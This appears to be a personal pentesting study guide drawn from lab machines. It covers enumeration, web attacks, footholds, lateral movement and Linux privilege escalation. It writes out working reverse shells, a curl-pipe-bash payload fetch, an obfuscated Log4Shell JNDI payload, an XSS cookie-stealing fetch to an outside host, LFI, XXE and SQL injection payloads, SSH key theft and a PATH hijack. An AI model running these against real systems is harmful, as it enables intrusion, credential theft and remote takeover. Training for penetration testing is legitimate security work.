Skip to main content

Pentesting

While performing pentesting, there are a series of steps that are always the same. The steps are (sorted by order)

Enumeration

Using nmap the attacker needs to see what is open in the target machine.

At this stage, we'll behave like a legitimate user, e.g.: perform regular searches, etc...

Web enumeration

If nmap shows some web server, it's worth to check the following enumeration techniques.

Directory brute-foce

This is a technique to discover all public paths of a website. There might situation where the web server is serving something but it's not referenced anywhere on the website. This is know as well as dir busting.

The technique consist in using a list of words and try all the combinations in the dictionary to see if the web server returns a positive (e.g. 200 OK) answer to the page. If so, we have discovered a page in that path.

There are many tools to perform this such as gobuster and ffuf.

You can use as well the sitemap functionality in the burp suite.

Sub-domain brute force

This techniques tries to discover sub-domains configured, you can do it by checking the DNS records or the virtual hosts configured in a server.

Usually this works by providing values in the HTTP Host header.

There are many tools to perform this such as gobuster and ffuf.

Robots.txt

It's always interesting to check the contents of robots.txt, for instance here, the file reveals the server hosts a joomla CMS:

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
# eg the Disallow rule for the /administrator/ folder MUST
# be changed to read
# Disallow: /joomla/administrator/
#
# For more information about the robots.txt standard, see:
# https://www.robotstxt.org/orig.html

User-agent: *
Disallow: /administrator/
Disallow: /api/
Disallow: /bin/
Disallow: /cache/
Disallow: /cli/
Disallow: /components/
Disallow: /includes/
Disallow: /installation/
Disallow: /language/
Disallow: /layouts/
Disallow: /libraries/
Disallow: /logs/
Disallow: /modules/
Disallow: /plugins/
Disallow: /tmp/

It also gives an idea of possible paths into the application

Whatweb

https://github.com/urbanadventurer/WhatWeb

This program will output a list of technologies used in the website by reading the HTTP response headers, etc...

└─$ whatweb https://github.com/urbanadventurer/WhatWeb          
https://github.com/urbanadventurer/WhatWeb [200 OK] Cookies[_gh_sess,_octo,logged_in], Country[UNITED STATES][US], Email[[email protected],[email protected],[email protected]], HTML5, HTTPServer[GitHub.com], HttpOnly[_gh_sess,logged_in], IP[140.82.121.3], Open-Graph-Protocol[object][1401488693436528], OpenSearch[/opensearch.xml], PoweredBy[WordPress,[PHP/5,[phpBB],,abc,abc\,abc\",phpBB,phpBB"], Script[application/javascript,application/json], Strict-Transport-Security[max-age=31536000; includeSubdomains; preload], Title[GitHub - urbanadventurer/WhatWeb: Next generation web scanner], UncommonHeaders[x-content-type-options,referrer-policy,content-security-policy,x-github-request-id], probably WordPress, X-Frame-Options[deny], X-XSS-Protection[0]

SMB enumeration

If nmap show the Sambda related ports, see: https://www.cyberciti.biz/faq/what-ports-need-to-be-open-for-samba-to-communicate-with-other-windowslinux-systems/

You can try to enumerate the Sambda shared and check if they can be accessed anonimously.

smbclient -L \\<ip> -N

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
SMB1 disabled -- no workgroup available

Check smbclient for reference

Breaking in

This stage is the most varied one, the idea is to find a vulnerability to get to a shell into the machine, no matter if the user is privileged or not.

At this point, you should have a list of services (and versions) that are running in the machine. You can do a google query with the service you want to discover vulnerabilities.

The attack vector is different to each machine, here you can find most common vector attacks

Anonymous access

The user might have ftp or tftp or smb shares with anonymous access. It's worth taking a look because those access might leak some valuable information. Additionally, you can also check metasploit to check for this kind of access.

Guess/Brute force credentials

If you discover a login page, why not trying some default user/password combinations? Try the following user/password combinations first:

  • admin:admin
  • administrator:administrator
  • admin:administrator
  • admin:password
  • administrator:password
  • ...

If you are login to a third-party applications it's wise to do a google search for default credentials.

You can try a dictionary attack to bruce force user/password combinations.

You can use a tool like thc-hydra. However, this will fail if there if there's any kind of CSRF protection.

SQL Injection

Poorly programmed queries can be very dangerous and leads to escaping issues in the queries.

If the SQL queries are poorly built, it means that they are susceptible to SQL injections. If the user input is not sanitised, we can break up SQL queries that will cause problems, such as bypassing a login page.

A typical SQL query for a login page can look like this:

SELECT * FROM members WHERE username = 'admin' AND password = 'admin'

If the input values are not sanitised, we can break the query by putting a comment character to comment the part of query that does the password checking:

SELECT * FROM members WHERE username = 'admin' #' AND password = 'kjdfjklsdf'

Now the query becomes:

SELECT * FROM members WHERE username = 'admin'

therefore, the query is no longer checking for password and the login page is bypassed.

Pay attention when breaking the rest of the query with comments. The standard comment -- might not always work, it's worth trying another kind of comments like #. Also, you might want to URL encode the escaping characters.

SQL injections reference: https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet

Server side template injection (SSTI)

if you see a search form and you type something and you see the output of what you typed again in the webpage, the webpage might be susceptible for SSTI. Try to identify which template engine and search how to exploit it.

If the target is using a templating engine, it is possible to use the template injection to execute commands in the server.

One easy way to test that is to put something like {{7*7}} in the template and check for the result.

If the template executes, we'll see the result, out of luck we will see nothing. Or maybe we'll see some trace that reveals the technology behind.

Arbitrary file upload

This is a very interesting vulnerability. It lets the attacker upload some file to the server. You can do this to start a reverse shell. That is the targeted machine establish a permanent connection to the attacker machine and it provides a shell where the attacker can run commands as if it was inside the machine.

File inclusion (LFI,RFI)

Some pages include other pages in order to improve re-usability, e.g. header and footer. If this is not configured properly, an attacker can use the include functionality to read local files.

http://unika.htb/index.php?page=../../../../../../../../../../windows/system32/drivers/etc/hosts

You can try to read the following files for Linux:

  • /etc/hosts
  • /etc/passwd

and for Windows:

  • C:/Windows/System32/drivers/etc/hosts
  • c:/windows/win.ini

Depending on the inclusion it might lead to Remote File Inclusion, which is execute remote files.

This can be used for example to force the target make a call to a compromised host in the same network and capture the credentials challenge:

http://unika.htb/index.php?page=\\10.1.2.3\blabla\

Reverse shell

Reverse basically means that it is the target that will initiate a connection request back us (the attacker).

For example, once we have remote code execution in the target, we'll be able to download and execute a piece of code.

Usually the process is:

  1. Create a file in the attacker machine containing a reverse shell payload:
#!/bin/bash
bash -i >& /dev/tcp/<YOUR_IP_ADDRESS>/1337 0>&1
  1. Create a server in the attacker machine which will act as the shell I/O. Normally this is done with netcat.
nc -nvlp 1337
  1. Start a webserver in the attacker machine that will server the reserve shell payload. You can do that with python (in the same directory as the payload):
python3 -m http.server 8000
  1. Make the target machine download and execute the reverse shell payload:
http://thetoppers.htb/shell.php?cmd=curl%20%3CYOUR_IP_ADDRESS%3E:8000/shell.sh|bash

You can find a list of reverse shells here: https://www.revshells.com/

Once you have shell access, most likely it will not be interactive and you'll miss many functionalities. You can try to get a improve the shell if python is installed:

python3 -c 'import pty;pty.spawn("/bin/bash")'
CTRL+Z
stty raw -echo
fg
export TERM=xterm

Or, you can find mmore methods to improve the shell here https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Rogue servers

The idea of rogue server is to start a server in the attacker machine and make the target machine speak with the attacker server. This is used for instance to retrieve NTLM hash challenge or to explot log4j vulnerability.

NTLM

Windows New Technology LAN Manager (NTLM) is a suite of security protocols offered by Microsoft to authenticate users’ identity and protect the integrity and confidentiality of their activity. At its core, NTLM is a single sign on (SSO) tool that relies on a challenge-response protocol to confirm the user without requiring them to submit a password.

In order to mess with it, you might use the responder tool.

The idea to bypass the NTLM is to force the target authenticate against a rogue SMB server (provided by responder tool). This tool will capture the authentication challenge hash and then you can use john tool to compare the hash with a dictionary to see if any entry matches.

Log4jShell

It was discovered that log4j libraries for certain versions were vulnerable to remote code execution. In order to do so, you setup a rogue JNDI/LDAP server from https://github.com/veracode-research/rogue-jndi in the attacker machine and send a JNDI command to the target machine to communicate with the rogue LDAP server to get a revershe shell on the attacker machine.

E.g.:

java -jar target/RogueJndi-1.1.jar --command "bash -c
{echo,YmFzaCAtYyBiYXNoIC1pID4mL2Rldi90Y3AvMTAuMTAuMTQuMzMvNDQ0NCAwPiYxCg==}|{base64,-
d}|{bash,-i}" --hostname "10.10.14.33"

Start the rogue JNDI server that will start a reverse shell on 10.10.14.33 using the base64 payload provided.

Then, send the payload to force the target machine connect the rogue JNDI/LDAP server:

${jndi:ldap://{Your Tun0 IP}:1389/o=tomcat}

XML eXternal Entities (XXE)

If the application is using XML to process any input data, it might be vulnerable to this kind of attacks.

This attack works because the XML parsers usually are configured with support for XML external entities. This is a feature of XML to be able to define objects outside the defined structure, but can be abuse to list internal files or to make connections to the outside of the target machine.

In order to check if the machine is vulnerable to this attack, you can try to show the contents of /etc/hosts(Linux) or C:/Windows/System32/drivers/etc/hosts(Windows). e.g.:

<?xml version = "1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts" >]>
<order><quantity>2</quantity><item>&xxe;</item><address>Fake street 1234</address></order>

JWT Key confussion attack

JWT Tokens are a way to sign and verify tokens that can contain important data such as credencials, roles, etc...

They have two ways of working: asymetric (RSA) and symmetric. In asymetric the token is signed with the private key and can be verified with the public key. In symmetric, the token is signed with a shared secret.

This signing and verifing is very important because it ensures that nobody modifies the tokens.

However, for old unsecure version of the libraries that handles this, it is possible to modify the payload and sign with the public key (if you are lucky enough to get it). When we change the signing algorithm, we are telling the other side that we're using symmetric algorithm.

See the following example:

In the received side, the token is verified using symmetric and asymmetric algorithms:

async decode(token) {
return (await jwt.verify(token, publicKey, { algorithms: ['RS256', 'HS256'] }));
}

First, it will try with RSA (RS) and later with Hash (HS) if the previous fails.

This way in the client side, we can modify the payload and sign the payload by changing the signing algorithm:

const fs = require('fs');
const jwt = require('jsonwebtoken');

const publicKey = fs.readFileSync('./public.key', 'utf8');
const validJwtToken = fs.readFileSync('./jwt-token.txt', 'utf8');

decoded = jwt.verify(validJwtToken, publicKey, { algorithms: ["RS256"]})
decoded["username"] = "admin' AND 1=2 UNION SELECT 1,top_secret_flaag,3 FROM flag_storage -- -"
re_encoded = jwt.sign(decoded, publicKey, {algorithm: 'HS256'})

console.log(re_encoded)

Here, we are using the public key to verify the received token, as the regular way.

Then, we change the payload and we sign again to generate the JWT. We use the public key and we change the algorithm to Hash. This way the receiver will verify the token using the public key. It will first fail with the asymmetric but it will work with the symmetric algorithm.

In this case, we are modifying the token to retrieve something from the database using an SQL injection.

Cross-Site Scripting (XSS)

This is a massive vulnerability. It consist on a web application accepting input from the user. If the input is not sanitized, the attacker might be able to write HTML in the input form. This HTML can include malicious javascript code.

Let's imagine we have an application with a form with no sanitized input. On another view we list that input. An attacker can place JS code that will be executed in the other view.

E.g.

  1. Create a payload file that will send the interesting data (in our case, we want to extract something from the cookie):
fetch("https://ojm5l9c8.requestrepo.com/?" + document.cookie);
  1. Write the XSS HTML code in the input form field:
<script src=https://cdn.jsdelivr.net/gh/adriangalera/htb-cursed-secret-party-xss@master/xss.js></script>
  1. In the remote url (requestrepo), you'll see the value of the document.cookie

There's a security header in modern browsers to prevent this Content Security Policy (CSP). However, if you are unlucky enough to include a CDN in that header, you are still vulnerable since one can put arbitrary code in the CDN.

If you see the application has some cookies and you somehow got access to a privileged cookie, you just need to change it in your browser and you'll access as the privileged user.

Foothold, we are in

At this point we have shell (or reverse) access to the target machine. Now we are in the machine, but we don't have much access, probably we're logged in as a user that can't do much and have access to few places.

List users and groups

We might discover other users of the machine.

In Linux, you can query all the available users in the target by querying /etc/passwd.

To retrieve the details about the current shell user, you can do id command. It will list the groups that the user belong. This might be useful for privilege escalation.

You can also list the binaries the user or group has access:

find / -group bugtracker 2>/dev/null

Search for interesting keywords

You can search inside the contents of files for interesting contents (passwords):

Let's image someone decided to hardcode a username/password in one file in a web server. You can find it checking the files one by one or, you can use grep to search all files for interesting keywords:

grep -Ril 'passwd*' /var/www/html
  • -R recursive
  • -i ignore case
  • -l show the file, not the match

Local port forwarding

Imagine you gain access to a machine which is running a service only for localhost. You can make that service available outside localhost by doing local port forwarding. e.g funnel.htb server is running postgres on port 5432.

With the next command, we'll do a SSH tunnel between localhost:5432 and funnel.htb:5432 port

ssh -L 5432:localhost:5432 [email protected]

and now you can access funnel.htb:5432 in localhost:5432

Lateral movement

Normally when the attacker get shell acess, the user has very few permissions. The attacker should check for credentials (inside database, inside files), etc... to switch from a low-permission user to a user with more permissions. That's called lateral movement and it's a step forward privilege escalation.

Also part of lateral movement is to use the machine as a pivot to enumerate more network devices. Typically this is done for enterprise level pentesting. Once a machine is compromised, you can access the machines in the same network even if they don't have public access.

Once we got shell access to a machine, it might be worth to try to retrieve the SSH private keys for the user. In order to do so, we must check the .ssh folder in the user home:

  • /home/michael/.ssh/id_rsa
  • c/users/daniel/.ssh/id_rsa

Paste the contents of that private key into the attacker machine and run:

chmod 400 michael-id-rsa
ssh -i michael-id-rsa [email protected]

An interesting option for lateral movement is checking the values set in the environment variables:

5d711b9d670a:/metabase.db$ env
env
SHELL=/bin/sh
MB_DB_PASS=
HOSTNAME=5d711b9d670a
LANGUAGE=en_US:en
MB_JETTY_HOST=0.0.0.0
JAVA_HOME=/opt/java/openjdk
MB_DB_FILE=//metabase.db/metabase.db
PWD=/metabase.db
LOGNAME=metabase
MB_EMAIL_SMTP_USERNAME=
HOME=/home/metabase
LANG=en_US.UTF-8
META_USER=metalytics
META_PASS=An4lytics_dsXXXX#
MB_EMAIL_SMTP_PASSWORD=
USER=metabase
SHLVL=4
MB_DB_USER=
FC_LANG=en-US
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
LC_CTYPE=en_US.UTF-8
MB_LDAP_BIND_DN=
LC_ALL=en_US.UTF-8
MB_LDAP_PASSWORD=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_CONNECTION_URI=
JAVA_VERSION=jdk-11.0.19+7
_=/usr/bin/env
OLDPWD=/

Privilege escalation

This step is gaining access to the root or Administrator user of the machine. Once we do that, we can do whatever we want with that machine. The topic is very broad and this section only provides a summary of things to watch out.

Windows

You can use https://github.com/carlospolop/PEASS-ng. You need to run the executable file in the target Windows machine. The script will identify the possible vulnerabilities to exploit and gain admin access.

It might be possible that the password of the admin user has been pasted in the history of the shell. Check the output of winpeas for references to ConsoleHost_history.txt file.

Another interesting path to privilege escalation is to check the permissions of a file. In order to do so, run icacls command. (F) means Full access and is a promising way of privilege escalation.

Linux

Hidden files

Once you got foothold to a server and if you need to perform lateral movement or privilege escalation, most of the times, there will be some hidden configuration file worth exploring. Remember to set the flags to ls to check the hidden files:

ls -lisa

Check accessible folders

Check what's in the following directories:

  • /home/user
  • /var/xxxx
  • /etc/xxx

e.g. in Artificial machine, there was an accessible file in /var/logs which was the key to resolve the machine.

Sudo

You can check if the user can run sudo command and with which privileges or restrictions by running:

jack@clicker:~$ sudo -l
Matching Defaults entries for jack on clicker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty

User jack may run the following commands on clicker:
(ALL : ALL) ALL
(root) SETENV: NOPASSWD: /opt/monitor.sh
  • NOPASSWD: means the user can execute the program without password as root.
  • SETENV: means the user can set environment variables running the program as root.

SUID

If you see some entry that allows the user to execute a binary as superuser you can check the file flags and permissions by running:

ls -lisa /usr/bin/bugtracker
264151 12 -rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker

The 's' in the result is the sticky bit in the file permissions.

file /usr/bin/bugtracker
/usr/bin/bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped

The setuid permission is the sticky bit representation in the file command output.

That is a special permission named SUID or Set Owner User ID. SUID allows an alternate user to run an executable with the same permissions as the owner of the file instead of the permissions of the alternate user. That looks promising for privilede escalation.

In our case, the binary 'bugtracker' is owned by root & we can execute it as root since it has SUID set.

If we execute the app, we can see that is asking for input. On invalid input it shows an error showing that it's using cat command:

robert@oopsie:/var/www/html$ bugtracker 12
bugtracker 12

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 12
12
---------------

cat: /root/reports/12: No such file or directory

Looks like it's not using the full path of the cat tool. We can create a executable named cat and put it before in PATH and it will execute that cat (/tmp/cat) instead of the real cat:

echo "/bin/sh" > /tmp/cat
robert@oopsie:/var/www/html$ export PATH=/tmp:$PATH
robert@oopsie:/var/www/html$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
robert@oopsie:/var/www/html$ bugtracker
bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 12
12
---------------

whoami
root

and we have root access.

You can try to find all the files that has the suid flag set:

find / -perm -u=s -type f 2>/dev/null

GTFObins

If sudo -l shows permission for any binary, check https://gtfobins.github.io for a way to exploit the binary to gain root access.

E.g.: you can get root access with vim. If the user has sudo access to edit some file, you can abuse it to get root access:

vi
:set shell=/bin/sh
:shell

Check write access to PATH

Check if you can write to some path in the PATH variable

import os

paths = os.environ["PATH"].split(":")
for path in paths:
writetable=True
filename=f"{path}/a"
try:
with open(filename, "w") as file1:
file1.write("Hello")
except Exception:
writetable=False
if writetable:
os.system(f"rm {filename}")
print(path +" ... "+str(writetable))

Check open ports

Might be interesting to what ports are listening in the server, you might find something vulnerable listening only in localhost for example.

netstat -tunap |grep "LISTEN"

Kernel version

Search OS version and kernel for CVEs:

uname -a
Linux analytics 6.2.0-25-generic #25~22.04.2-Ubuntu SMP PREEMPT_DYNAMIC Wed Jun 28 09:55:23 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

If we look in Google for 6.2.0-25-generic #25~22.04.2-Ubuntu CVE you'll see this link: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability and this link https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629